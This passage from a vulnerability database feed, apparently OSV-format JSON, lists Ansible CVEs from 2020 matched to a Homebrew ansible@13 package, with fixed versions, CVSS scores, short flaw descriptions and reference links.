'/proc/<pid>/cmdline'.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1733"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67791"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/80b9a0a25c5f75e84aefc8f2b293fb1933b154f2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8251d9f4c2bc82632ab992277fcd30ccbf87aa47"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ecf99d5e1ff732a7777010facd6c98bb0994605e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1733"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g4mq-6fp5-qwcf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-5.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1734","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-h39q-95q5-9jfp","CVE-2020-1734","PYSEC-2020-6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection in ansible","details":"A flaw was found in the pipe lookup plugin of ansible. Arbitrary commands can be run, when the pipe lookup plugin uses `subprocess.Popen()` with `shell=True`, by overwriting ansible facts and the variable is not escaped by quote plugin. An attacker could take advantage and run arbitrary commands by overwriting the ansible facts.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1734"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67792"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/70159"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/70596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4f978af4ca16ad9828ffe42203b9615425195f8b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/963bdd9983b91a48fb6949fb2ef41071e72d0be0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/bff0724e9eab2770f874e018298f9ab74cc2a78f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e5649ca3e807f17e7c034ee22791f107162973b0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:0547"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:1539"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2020-1734"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801804"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1734"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h39q-95q5-9jfp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-6.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1735","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-gfr2-qpxh-qj9m","CVE-2020-1735","PYSEC-2020-7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1735"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67793"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69023"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69024"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69025"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/18f91bbb88a84b1d3614ef41c3550da735592ac1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/40969ff43812fabf5397f818d9e521f9b39c9c9a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/de9a4f5474c5f5db442ae7493d6b5da7177e335d"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-7.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gfr2-qpxh-qj9m"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1736","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-x7jh-595q-wq82","CVE-2020-1736","PYSEC-2020-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Incorrect Permission Assignment for Critical Resource in Ansible","details":"A flaw was found in Ansible Engine when a file is moved using atomic_move primitive as the file mode cannot be specified. This sets the destination files world-readable if the destination file does not exist and if the file exists, the file could be changed to have less restrictive permissions before the move. This could lead to the disclosure of sensitive data. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1736"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67794"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1736"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x7jh-595q-wq82"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-8.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2NYYQP2XJB2TTRP6AKWVMBSPB2DFJNKD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BPNZWBAUP4ZHUR6PO7U6ZXEKNCX62KZ7"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1737","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-893h-35v4-mxqx","CVE-2020-1737","PYSEC-2020-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"A flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1737"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67795"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67799"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/1de638b4d38d6d916588e2ad48d01f90dab8c36d"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/aaf549d7870b8687209a3282841b59207735b676"},{"type":"WEB","url":"https://github.com/samdoran/ansible/commit/b60aa26e2313a8d52c0e0d3fd01696e797605b72"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1737"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-893h-35v4-mxqx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-9.yaml"},{"type":"PACKAGE","url":"https://github.com/samdoran/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1738","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-f85h-23mf-2fwh","CVE-2020-1738","PYSEC-2020-10"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Argument Injection in Ansible","details":"A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1738"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67796"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67808"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1738"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f85h-23mf-2fwh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-10.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1739","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-923p-fr2c-g5m2","CVE-2020-1739","PYSEC-2020-11"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1739"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67797"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68911"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68912"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68913"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1a89d4f059c21a818306a39ada7f5284ae125237"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6c74a298702c8bb5532b9600073312e08f39680f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c6c4fbf4a1fdea1e10ba94462a60c413990a16a4"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-11.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-923p-fr2c-g5m2"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1739"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1740","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-vcg8-98q8-g7mj","CVE-2020-1740","PYSEC-2020-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1740"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67798"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/28f9fbdb5e281976e33f443193047068afb97a9b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2a563514f070a0a8ba64aebf6bce21194be96c73"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/685a4b6d3ff72186d2b4ffce73172a5446a71ccc"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ef32a5bf96a89107986375516285253c1380d7ef"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1740"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vcg8-98q8-g7mj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-12.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1746","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-j2h6-73x8-22c4","CVE-2020-1746","PYSEC-2020-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the `bind_pw` in the parameters field. The highest threat from this vulnerability is data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1746"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67866"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d41e38435b1a9e300d8011ac28f16a5add2db119"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e6199d768c1c18a4e750ec78d4ded088629baa3f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edd1e1723cc937ec9251adf38c1199a00b0bf6d4"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1746"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j2h6-73x8-22c4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-13.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1753","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-86hp-cj9j-33vv","CVE-2020-1753","PYSEC-2020-210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File, Invocation of Process Using Visible Sensitive Information, and \tExposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1753"},{"type":"WEB","url":"https://github.com/ansible-collections/kubernetes/pull/51"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68195"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04ba05e003b268b83df6c106ba5c0f08548b1380"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/137caed836ef096945086cfe75dc11587b68db3a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/273d8538dbe5a7b5c9954f1929d3bb00904c43f6"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1753"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-86hp-cj9j-33vv"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/kubernetes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-210.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-25635","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-f556-49jc-4rvc","CVE-2020-25635","PYSEC-2020-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"stra